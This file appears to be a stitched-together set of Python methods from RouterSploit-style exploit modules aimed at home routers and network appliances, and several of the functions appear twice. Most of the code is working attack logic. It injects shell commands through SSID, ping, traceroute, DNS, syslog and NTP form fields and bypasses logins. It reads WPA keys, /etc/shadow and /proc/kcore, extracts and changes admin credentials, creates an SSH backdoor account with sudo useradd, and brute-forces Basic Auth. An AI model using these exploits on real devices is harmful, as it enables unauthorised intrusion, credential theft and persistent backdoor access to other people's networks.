def inject_command(self): ssid_url = "{}:{}/wireless_id.stm".format(self.target, self.port) response = http_request(method="GET", url=ssid_url) if response is None: print_error("Exploit failed. No response from target!") return srcSSID = re.search("document\.tF\['ssid'\]\.value=\"(.*)\";", response.text) if srcSSID: SSID = srcSSID.group(1) else: print_error("Exploit failed. Are you logged in?") return if len(SSID) + 2 + len(self.cmd) > 32: newlen = 32 - len(self.cmd) - 2 SSID = SSID[0:newlen] print_status("SSID too long, it will be truncated to: " + SSID) newSSID = SSID + "%3B" + self.cmd + "%3B" payload = "page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid=" + newSSID + "&arc_action=Apply+Changes&wchan=1&ssid=" + newSSID url = "{}:{}/apply.cgi".format(self.target, self.port) response = http_request(method="POST", url=url, data=payload) if response is None: print_error("Exploit failed. No response from target!") return err = re.search('countdown\(55\);', response.text) if err: print_success("Exploit success, wait until router reboot.") else: print_error("Exploit failed. Device seems to be not vulnerable.")
def auth_bypass(self): url = "{}:{}/login.stm".format(self.target, self.port) response = http_request(method="GET", url=url) if response is None: return False val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces if len(val): url = "{}:{}/login.cgi".format(self.target, self.port) payload = "pws=" + val[0] + "&arc_action=login&action=Submit" login = http_request(method="POST", url=url, data=payload) if login is None: return False error = re.search('loginpserr.stm', login.text) if not error: print_success("Exploit success, you are now logged in!") return True print_error("Exploit failed. Device seems to be not vulnerable.") return False
def run(self): if self.check(): print_success("Target is vulnerable") url1 = "{}:{}//etc/RT2870STA.dat".format(self.target, self.port) url2 = "{}:{}/get_status.cgi".format(self.target, self.port) url3 = "{}:{}//proc/kcore".format(self.target, self.port) response = http_request(method="GET", url=url1) if response is not None and "WPAPSK" in response.text: print_success("WPA Password is in this text:") print_info(response.text) else: print_error("Could not find WPA password") print_info("Trying to gather more info") response = http_request(method="GET", url=url2) if response is not None and "ddns_host" in response.text: print_success("ddns host name:") print_info(response.text) else: print_error("could not read ddns host name") print_status("Trying to find username and password from running memory leak") print_status("This could take some time") print_status("password is usually stuck next to 'admin' e.g admin123456") response = http_request(method="GET", url=url3, stream=True) try: for chunk in response.iter_content(chunk_size=100): if "admin" in chunk: print_success(chunk) except Exception: print_error("Exploit failed - could not read /proc/kcore")
def run(self): if self.check(): print_success("Target is vulnerable") url1 = "{}:{}//etc/RT2870STA.dat".format(self.target, self.port) url2 = "{}:{}/get_status.cgi".format(self.target, self.port) url3 = "{}:{}//proc/kcore".format(self.target, self.port) response = http_request(method="GET", url=url1) if response is not None and "WPAPSK" in response.text: print_success("WPA Password is in this text:") print_info(response.text) else: print_error("Could not find WPA password") print_info("Trying to gather more info") response = http_request(method="GET", url=url2) if response is not None and "ddns_host" in response.text: print_success("ddns host name:") print_info(response.text) else: print_error("could not read ddns host name") print_status( "Trying to find username and password from running memory leak" ) print_status("This could take some time") print_status( "password is usually stuck next to 'admin' e.g admin123456") response = http_request(method="GET", url=url3, stream=True) try: for chunk in response.iter_content(chunk_size=100): if "admin" in chunk: print_success(chunk) except Exception: print_error("Exploit failed - could not read /proc/kcore")
def execute(self, cmd): url = "{}:{}/cgi?2".format(self.target, self.port) referer = "{}/mainFrame.htm".format(self.target) headers = {"Content-Type": "text/plain", "Referer": referer} data = ("[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1;" + cmd + ";\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n") # send command http_request(method="POST", url=url, headers=headers, data=data) url = "{}:{}/cgi?7".format(self.target, self.port) data = ("[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n") # execute command on device http_request(method="POST", url=url, headers=headers, data=data) time.sleep(1) return ""
def create_ssh_backdoor(self, username, password): url = "{}:{}/DetectionPolicy/rules/rulesimport.cgi".format( self.target, self.port) sh_name = 'exploit.sh' sf_action_id = self.get_sf_action_id() payload = "sudo useradd -g ldapgroup -p `openssl passwd -1 {}` {}; rm /var/sf/SRU/{}".format( password, username, sh_name) print_status("Attempting to create SSH backdoor") multipart_form_data = { "action_submit": (None, "Import"), "source": (None, "file"), "manual_update": (None, "1"), "sf_action_id": (None, sf_action_id), "file": (sh_name, payload) } try: http_request(method="POST", url=url, files=multipart_form_data, session=self.session) except Exception: pass return
def execute(self, cmd): url = ("{}:{}/{}?writeData=true®info=0&macAddress= " "001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd)) # blind command injection http_request(method="GET", url=url) return ""
def execute(self, cmd): path = "/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;echo $({})&NumofRepeat=1&" \ "DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit".format(cmd) url = "{}:{}{}".format(self.target, self.port, path) try: response = http_request("GET", url, self.session) time.sleep(3) url = "{}:{}/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch".format(self.target, self.port) response = http_request("GET", url, self.session) time.sleep(1) res = re.findall(r'textarea_1">(.*) -c', response.text) if len(res): return res[0] else: res1 = re.findall(r'textarea_1">(.*)', response.text) if res1[0] == "-c 1 -s 64": return "" else: res2 = re.findall(r'(.*) -c', response.text) res = res1 + res2 if res[0] != "</textarea>": return res[0] except: pass return ""
def run(self): url = "{}:{}/login.stm".format(self.target, self.port) response = http_request(method="GET", url=url) if response is None: return val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces if len(val): url = "{}:{}/login.cgi".format(self.target, self.port) payload = "pws=" + val[0] + "&arc_action=login&action=Submit" login = http_request(method="POST", url=url, data=payload) if login is None: return error = re.search('loginpserr.stm', login.text) if not error: print_success("Exploit success, you are now logged in!") return print_error("Exploit failed. Device seems to be not vulnerable.")
def check(self): url = "{}:{}/".format(self.target, self.port) response = http_request(method="GET", url=url) if response is None: return False # target is not vulnerable # unauthorized if response.status_code == 401: url = "{}:{}/BRS_netgear_success.html".format(self.target, self.port) for _ in range(0, 3): response = http_request(method="GET", url=url) if response is None: return False # target is not vulnerable url = "{}:{}/".format(self.target, self.port) response = http_request(method="GET", url=url) if response is None: return False # target is not vulnerable # authorized if response.status_code == 200: return True # target is vulnerable return False # target not vulnerable
def login(self): url = "{}:{}/".format(self.target, self.port) try: response = http_request("GET", url, self.session) if response is None: return print_status("Retrieving random login token...") Frm_Logintoken = re.findall(r'Frm_Logintoken"\).value = "(.*)";', response.text) if len(Frm_Logintoken): Frm_Logintoken = Frm_Logintoken[0] print_status("Trying to log in with credentials {} : {}".format(self.username, self.password)) url = "{}:{}/login.gch".format(self.target, self.port) data = {"Frm_Logintoken": Frm_Logintoken, "Username": self.username, "Password": self.password} response = http_request("POST", url, self.session, data=data) if "Username" not in response.text and "Password" not in response.text: print_success("Successful authentication") return True except: pass return False
def run(self): if self.check(): print_success("Target is vulnerable") print_status("Changing", self.target, "credentials to", self.nuser, ":", self.npass) url = sanitize_url("{}:{}/goform/RgSecurity".format(self.target, self.port)) headers = {u'Content-Type': u'application/x-www-form-urlencoded'} data = {"HttpUserId": self.nuser, "Password": self.npass, "PasswordReEnter": self.npass, "RestoreFactoryNo": "0x00"} response = http_request(method="POST", url=url, headers=headers, data=data) if response is None: print_error("Target did not answer request.") elif response.status_code == 401: # Server obeys request but then sends unauthorized response. Here we send a GET request with the new creds. infotab_url = sanitize_url("{}:{}/RgSwInfo.asp".format(self.target, self.port)) check_response = http_request(method="GET", url=infotab_url, auth=(self.nuser, self.npass)) if check_response.status_code == 200: print_success("Credentials changed!") elif response.status_code == 401: print_error("Target answered, denied access.") else: pass else: print_error("Unknown error.") else: print_error("Exploit failed - Target seems to be not vulnerable")
def check(self): url = u'{}:{}/cgi-bin/cgiSrv.cgi'.format(self.target, self.port) headers = { u'Content-Type': u'text/xml', u'X-Requested-With': u'XMLHttpRequest' } data = u'<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>' # Blind unauth RCE so we first create a file in the www-root directory cmd_echo = data.format( u'echo "$USER" > /usr/share/www/routersploit.check') response = http_request(method=u'POST', url=url, headers=headers, data=cmd_echo) if not response or u'status="doing"' not in response.text: return False # Second we check that the file was successfully created url = u'{}:{}/routersploit.check'.format(self.target, self.port) response = http_request(method=u'GET', url=url) if not response.status_code == 200 or u'root' not in response.text: return False # Third we clean up the temp file. No need to check if successful since we already check that the device was # vulnerable at this point. cmd_rm = data.format(u'rm -f /usr/share/www/routersploit.check') http_request(method=u'POST', url=url, headers=headers, data=cmd_rm) return True
def login(self): url = "{}:{}/".format(self.target, self.port) try: response = http_request("GET", url, self.session) if response is None: return print_status("Retrieving random login token...") Frm_Logintoken = re.findall(r'Frm_Logintoken"\).value = "(.*)";', response.text) if len(Frm_Logintoken): Frm_Logintoken = Frm_Logintoken[0] print_status( "Trying to log in with credentials {} : {}".format( self.username, self.password)) url = "{}:{}/login.gch".format(self.target, self.port) data = { "Frm_Logintoken": Frm_Logintoken, "Username": self.username, "Password": self.password } response = http_request("POST", url, self.session, data=data) if "Username" not in response.text and "Password" not in response.text: print_success("Successful authentication") return True except: pass return False
def check(self): url = "{}:{}/".format(self.target, self.port) response = http_request(method="GET", url=url) if response is None: return False # target is not vulnerable # unauthorized if response.status_code == 401: url = "{}:{}/BRS_netgear_success.html".format( self.target, self.port) for _ in range(0, 3): response = http_request(method="GET", url=url) if response is None: return False # target is not vulnerable url = "{}:{}/".format(self.target, self.port) response = http_request(method="GET", url=url) if response is None: return False # target is not vulnerable # authorized if response.status_code == 200: return True # target is vulnerable return False # target not vulnerable
def execute(self, cmd): path = "/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;echo $({})&NumofRepeat=1&" \ "DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit".format(cmd) url = "{}:{}{}".format(self.target, self.port, path) try: response = http_request("GET", url, self.session) time.sleep(3) url = "{}:{}/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch".format( self.target, self.port) response = http_request("GET", url, self.session) time.sleep(1) res = re.findall(r'textarea_1">(.*) -c', response.text) if len(res): return res[0] else: res1 = re.findall(r'textarea_1">(.*)', response.text) if res1[0] == "-c 1 -s 64": return "" else: res2 = re.findall(r'(.*) -c', response.text) res = res1 + res2 if res[0] != "</textarea>": return res[0] except: pass return ""
def execute(self, cmd): cmd_new = "cd && cd tmp && export PATH=$PATH:. && {}".format(cmd) soap_action = '"http://purenetworks.com/HNAP1/GetDeviceSettings/`{}`"'.format(cmd_new) url = "{}:{}/HNAP1/".format(self.target, self.port) headers = {"SOAPAction": soap_action} http_request(method="POST", url=url, headers=headers) return ""
def execute(self, cmd): # Get credentials print_status("Extracting credentials") credential_url = sanitize_url( "{}:{}/system.ini?loginuse&loginpas".format( self.target, self.port)) response = http_request(method="GET", url=credential_url) # Find the magic sequence "0000 0a0a 0a0a 01" magic_sequence_location = response.content.find( b'\x00\x00\x0a\x0a\x0a\x0a\x01') # Skip ahead by 144 bytes to the beginning of username username_location = magic_sequence_location + 144 # Read every byte in a loop until the first '\x00' # THIS WILL NOT WORK UNDER PYTHON 3 (bytearrays return ints in py3)! username_bytes = bytearray() next_username_byte = bytes() index = username_location while next_username_byte != b'\x00': username_bytes.append(response.content[index]) next_username_byte = response.content[index + 1] index = index + 1 username = username_bytes.decode('utf-8') print_info("Username: "******"Password: "******"{}:{}/set_ftp.cgi?next_url=ftp.htm&loginuse={}&loginpas={}&svr=192.168.1.1&port=21&user=ftp&pwd=$({})&dir=/&mode=PORT&upload_interval=0".format( self.target, self.port, username, password, cmd) http_request(method="GET", url=command_url) # Run command run_url = "{}:{}/ftptest.cgi?next_url=test_ftp.htm&loginuse={}&loginpas={}".format( self.target, self.port, username, password) http_request(method="GET", url=run_url) time.sleep(2) return ""
def execute(self, cmd): """ callback used by shell functionality """ payload = ";{};".format(cmd) url = "{}:{}/cgi-bin/rdfs.cgi".format(self.target, self.port) data = {"Client": payload, "Download": "Download"} http_request(method="POST", url=url, data=data) return ""
def execute(self, cmd): url = u'{}:{}/cgi-bin/cgiSrv.cgi'.format(self.target, self.port) headers = { u'Content-Type': u'text/xml', u'X-Requested-With': u'XMLHttpRequest' } data = u'<cmd><ITEM cmd="traceroute" addr="$({})" /></cmd>'.format(cmd) http_request(method=u'POST', url=url, headers=headers, data=data) return '' # Blind RCE so no response available
def execute(self, cmd): cmd = "%26 {}%26".format(cmd.replace("&", "%26")) url = "{}:{}/diagnostic.php".format(self.target, self.port) headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"} data = "act=ping&dst={}".format(cmd) http_request(method="POST", url=url, headers=headers, data=data) return ""
def execute(self, cmd): url = "{}:{}/setSystemCommand".format(self.target, self.port) headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"} data = {"ReplySuccessPage": "docmd.htm", "ReplyErrorPage": "docmd.htm", "SystemCommand": cmd, "ConfigSystemCommand": "Save"} http_request(method="POST", url=url, headers=headers, data=data, auth=(self.username, self.password)) return ""
def execute(self, cmd): url = "{}:{}/ping.cgi".format(self.target, self.port) payload = "& {}".format(cmd) data = { "pingstr": payload } http_request(method="POST", url=url, data=data, auth=(self.username, self.password)) return ""
def execute(self, cmd): url = "{}:{}/dnslookup.cgi".format(self.target, self.port) payload = "www.google.com; {}".format(cmd) data = { "host_name": payload, "lookup": "Lookup" } http_request(method="POST", url=url, data=data, auth=(self.username, self.password)) return ""
def execute(self, cmd): url = "{}:{}/ping.cgi".format(self.target, self.port) payload = "& {}".format(cmd) data = {"pingstr": payload} http_request(method="POST", url=url, data=data, auth=(self.username, self.password)) return ""
def check(self): url = "{}:{}/rom-0".format(self.target, self.port) response = http_request(method="HEAD", url=url) if response is None: response = http_request(method="GET", url=url) if response is not None and response.status_code == 200: return True return False
def execute2(self, cmd): print_status("Trying authenticated commad injection vulnerability...") # Iterate through hardcoded credentials and these provided by the user for creds in set(self.creds + [(self.username, self.password)]): print_status("Trying exploitation with creds: {}:{}".format(creds[0], creds[1])) # Fixate cookie url = "{}:{}/".format(self.target, self.port) cookies = { "SESSIONID": random_text(8) } response = http_request(method="GET", url=url, cookies=cookies, auth=(creds[0], creds[1])) if response is None: return False # Inject command url = "{}:{}/cgi-bin/tools_time.asp".format(self.target, self.port) payload = "\"%3b{}%26%23".format(cmd) data = {"SaveTime": "1", "uiCurrentTime2": "", "uiCurrentTime1": "", "ToolsTimeSetFlag": "0", "uiRadioValue": "0", "uiClearPCSyncFlag": "0", "uiwPCdateMonth": "0", "uiwPCdateDay": "", "&uiwPCdateYear": "", "uiwPCdateHour": "", "uiwPCdateMinute": "", "uiwPCdateSec": "", "uiCurTime": "N/A+(NTP+server+is+connecting)", "uiTimezoneType": "0", "uiViewSyncWith": "0", "uiPCdateMonth": "1", "uiPCdateDay": "", "uiPCdateYear": "", "uiPCdateHour": "", "uiPCdateMinute": "", "uiPCdateSec": "", "uiViewdateToolsTZ": "GMT+07:00", "uiViewdateDS": "Disable", "uiViewSNTPServer": payload, "ntp2ServerFlag": "N/A", "ntp3ServerFlag": "N/A"} response = http_request(method="POST", url=url, cookies=cookies, data=data, auth=(creds[0], creds[1])) if response is None: return False return True
def execute(self, cmd): """ callback used by shell functionality """ payload = ";{};".format(cmd) url = "{}:{}/cgi-bin/rdfs.cgi".format(self.target, self.port) data = { "Client": payload, "Download": "Download" } http_request(method="POST", url=url, data=data) return ""
def check(self): base_url = sanitize_url('{0}:{1}/'.format(self.target, self.port)) upload_url = base_url + 'login.cgi' response = http_request(url=upload_url, method='GET') if (response is None): return False #Target not vulnerable rand_str = random_text(length=16) tmp_payload = tempfile.TemporaryFile() tmp_payload.write('vulnerable' + rand_str) tmp_payload.seek(0) upload_params = { 'file': ('../../../../tmp/airview.uavr', tmp_payload, { 'Expect': '' }) } response = http_request(url=upload_url, method='POST', files=upload_params) tmp_payload.close() if (response is None): return False #Target not vulnerable #Response to verify if the upload was done correctly airview_url = base_url + 'airview.uavr' verify_upload = http_request(url=airview_url, method='GET') #Upload empty file to "clear" the airview.uavr file clean_tmp_file = tempfile.TemporaryFile() clean_tmp_file.seek(0) upload_params = { 'file': ('../../../../tmp/airview.uavr', clean_tmp_file, { 'Expect': '' }) } http_request(url=upload_url, method='POST', files=upload_params) clean_tmp_file.close() if ('vulnerable' + rand_str in verify_upload.text): return True else: return False
def execute(self, cmd): if len(cmd) > 18: print_error("Command too long. Max is 18 characters.") return "" url = "{}:{}/".format(self.target, self.port) payload = "`{}`".format(cmd) cookies = {"i": payload} http_request(method="GET", url=url, cookies=cookies) return ""
def check(self): url1 = "{}:{}//etc/RT2870STA.dat".format(self.target, self.port) url2 = "{}:{}/get_status.cgi".format(self.target, self.port) check1 = http_request(method="GET", url=url1) if check1 is not None and check1.status_code == 200 and "WPAPSK" in check1.text: return True check2 = http_request(method="GET", url=url2) if check2 is not None and check2.status_code == 200 and "ddns" in check2.text: return True return False
def execute(self, cmd): url = "{}:{}/cgi-bin/pages/maintenance/logSetting/logSet.asp".format(self.target, self.port) payload = "1.1.1.1`{}`&#".format(cmd) data = { "logSetting_H": "1", "active": "1", "logMode": "LocalAndRemote", "serverPort": "123", "serverIP": payload } http_request(method="POST", url=url, data=data, session=self.session) return ""
def check(self): url = "{}:{}/rom-0".format(self.target, self.port) response = http_request(method="HEAD", url=url) if response is None: response = http_request(method="GET", url=url) if response is not None \ and response.status_code == 200 \ and "html" not in response.headers['Content-Type']: # and len(response.text) > 500: return True return False
def execute(self, cmd): url = "{}:{}/cgi-bin/ViewLog.asp".format(self.target, self.port) payload = ";{};#".format(cmd) data = {"remote_submit_Flag": "1", "remote_syslog_Flag": "1", "RemoteSyslogSupported": "1", "LogFlag": "0", "remote_host": payload, "remoteSubmit": "Save"} http_request(method="POST", url=url, data=data) return ""
def check(self): url = "{}:{}/utility.cgi?testType=1&IP=aaa".format(self.target, self.port) response1 = http_request(method="GET", url=url) if response1 is None: return False # target is not vulnerable if response1.status_code == 200: url = "{}:{}/{}.cgi".format(self.target, self.port, random_text(32)) response2 = http_request(method="GET", url=url) if response2 is None or response1.text != response2.text: return True # target is vulnerable return False # target is not vulnerable
def execute(self, cmd): url = "{}:{}/cgi-bin/pages/maintenance/logSetting/logSet.asp".format( self.target, self.port) payload = "1.1.1.1`{}`&#".format(cmd) data = { "logSetting_H": "1", "active": "1", "logMode": "LocalAndRemote", "serverPort": "123", "serverIP": payload } http_request(method="POST", url=url, data=data, session=self.session) return ""
def run(self): if self.check(): print_success("Target is vulnerable") url = "{}:{}".format(self.target, self.port) response = http_request(method="GET", url=url) if response is not None: # Detect model model = response.headers.get('WWW-Authenticate')[13:-1] # Grab token if exists token = self.extract_token(response.text) if token is False: token = "routersploit" print_status("Token not found") else: print_status("Token found: {}".format(token)) # Detect firmware version url = "{}:{}/currentsetting.htm".format(self.target, self.port) response = http_request(method="GET", url=url) fw_version = "" if response is not None and response.status_code == 200: fw_version = self.scrape(response.text, 'Firmware=', 'RegionTag').strip('\r\n') print_status("Detected model: {} (FW: {})".format( model, fw_version)) # Exploit vulnerability url = "{}:{}/passwordrecovered.cgi?id={}".format( self.target, self.port, token) response = http_request(method="POST", url=url) if response.text.find('left\">') != -1: username, password = self.extract_password(response.text) print_success( 'Exploit success! login: {}, password: {}'.format( username, password)) else: print_error( "Exploit failed. Could not extract credentials. Reboot your device and try again." ) else: print_error("Exploit failed. Could not extract credentials.") else: print_error("Target is not vulnerable")
def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) print_status(name, 'process is starting...', verbose=module_verbosity) while running.is_set(): try: user, password = data.next() user = user.encode('utf-8').strip() password = password.encode('utf-8').strip() response = http_request(method="GET", url=url, auth=(user, password)) if response.status_code != 401: if boolify(self.stop_on_success): running.clear() print_success("Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'".format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append((self.target, self.port, user, password)) else: print_error("Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'".format(self.target, self.port, name, user, password), verbose=module_verbosity) except StopIteration: break print_status(name, 'process is terminated.', verbose=module_verbosity)
def attack(self): url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) response = http_request(method="GET", url=url) if response is None: return if response.status_code != 401: print_status("Target is not protected by Basic Auth") return if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = LockedIterator(itertools.product(usernames, passwords)) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found")
def run(self): creds = [] url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) # print_status("Requesting for {}".format(url)) response = http_request(method="GET", url=url) if response is None: return admin = re.findall("pwdAdmin = '(.+?)'", response.text) if admin: creds.append(('admin', admin[0])) support = re.findall("pwdSupport = '(.+?)'", response.text) if support: creds.append(('support', support[0])) user = re.findall("pwdUser = '******'", response.text) if user: creds.append(('user', user[0])) if creds: print_success("Credentials found!") print_table(("Login", "Password"), *creds) else: print_error("Credentials could not be found")
def check(self): url = sanitize_url("{}:{}/test".format(self.target, self.port)) user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' headers = { 'User-Agent': user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', 'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Cache-Control': 'no-cache', 'Cookie': 'C107373883=/omg1337hax' } response = http_request(method="GET", url=url, headers=headers) if response is None: return False # target is not vulnerable if response.status_code != 404: return False # not rompage else: if 'server' in response.headers: server = response.headers.get('server') if re.search('RomPager', server) is not None: if re.search('omg1337hax', response.text) is not None: return True # device is vulnerable else: return None # could not verify return False # target is not vulnerable
def attack(self): url = "{}:{}{}".format(self.target, self.port, self.path) response = http_request(method="GET", url=url) if response is None: return if response.status_code != 401: print_status("Target is not protected by Basic Auth") return if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = itertools.product(usernames, passwords) with threads.ThreadPoolExecutor(self.threads) as executor: for record in collection: executor.submit(self.target_function, url, record) if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found")
def execute(self, cmd): url = "{}:{}/cgi-bin/proxy.cgi".format(self.target, self.port) headers = {u'Content-Type': u'application/x-www-form-urlencoded', u'Referer': url} payload = "||{};#".format(cmd) data = {"NCSA_USERNAME": random_text(12), "NCSA_GROUP": "standard", "NCSA_PASS": payload, "NCSA_PASS_CONFIRM": payload, "SUBMIT": "Create+user", "ACTION": "Add", "NCSA_MIN_PASS_LEN": "6"} response = http_request(method="POST", url=url, headers=headers, data=data, auth=(self.username, self.password), timeout=10) if response is None: return "" end = response.text.find("<!DOCTYPE html>") if end: return response.text[:end] return ""
def run(self): if self.check(): url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) print_status("Requesting for {}".format(url)) response = http_request(method="GET", url=url) if response is None: return regexps = [("admin", "pwdAdmin = '(.+?)'"), ("support", "pwdSupport = '(.+?)'"), ("user", "pwdUser = '******'")] creds = [] for regexp in regexps: res = re.findall(regexp[1], response.text) if len(res): creds.append((regexp[0], b64decode(res[0]))) if len(creds): print_success("Credentials found!") headers = ("Login", "Password") print_table(headers, *creds) print("NOTE: Admin is commonly implemented as root") else: print_error("Credentials could not be found") else: print_error("Device seems to be not vulnerable")
def check(self): url = "{}:{}/UD/?5".format(self.target, self.port) headers = { "SOAPACTION": '"urn:dslforum-org:service:UserInterface:1#GetLoginPassword"', "Content-Type": 'text/xml; charset="utf-8"', "Expect": "100-continue", } data = ( '<?xml version="1.0"?>' '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' "<s:Body>" '<m:GetLoginPassword xmlns:m="urn:dslforum-org:service:UserInterface:1">' "</m:GetLoginPassword>" "</s:Body>" "</s:Envelope>" ) response = http_request(method="POST", url=url, headers=headers, data=data) if response is None: return False # target is not vulnerable r = re.compile("<NewUserpassword>(.*?)</NewUserpassword>") m = r.search(response.text) if m: return True # target is vulnerable return False # target not vulnerable
def run(self): url = "{}:{}/UD/?5".format(self.target, self.port) headers = { "SOAPACTION": '"urn:dslforum-org:service:UserInterface:1#GetLoginPassword"', "Content-Type": 'text/xml; charset="utf-8"', "Expect": "100-continue", } data = ( '<?xml version="1.0"?>' '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' "<s:Body>" '<m:GetLoginPassword xmlns:m="urn:dslforum-org:service:UserInterface:1">' "</m:GetLoginPassword>" "</s:Body>" "</s:Envelope>" ) response = http_request(method="POST", url=url, headers=headers, data=data) if response is None: return r = re.compile("<NewUserpassword>(.*?)</NewUserpassword>") m = r.search(response.text) if m: print_success("Password has been found") print_info("Password: {}".format(m.group(1))) else: print_error("Exploit failed - could not find password")
def check(self): # address and parameters url = sanitize_url("{}:{}/cgi-bin/webproc".format( self.target, self.port)) data = { "getpage": "html/index.html", "*errorpage*": "../../../../../../../../../../../etc/shadow", "var%3Amenu": "setup", "var%3Apage": "connected", "var%": "", "objaction": "auth", "%3Ausername": "******", "%3Apassword": "******", "%3Aaction": "login", "%3Asessionid": "abcdefgh" } # connection response = http_request(method="POST", url=url, data=data) if response is None: return False # target is not vulnerable if "root" in response.text: return True # target vulnerable return False # target not vulnerable
def login(self): url = "{}:{}/login.cgi?logout=1".format(self.target, self.port) data = { "username": self.username, "password": self.password, "target": "" } print_status("Trying to authenticate") response = http_request(method="POST", url=url, data=data, allow_redirects=False, session=self.session) if response is None: return False if response.status_code == 302 and "CGISESSID" in response.cookies.keys( ): print_status("CGI Session ID: {}".format( response.cookies['CGISESSID'])) print_success("Authenticated as {}:{}".format( self.username, self.password)) return True print_error("Exploit failed. Could not authenticate.") return False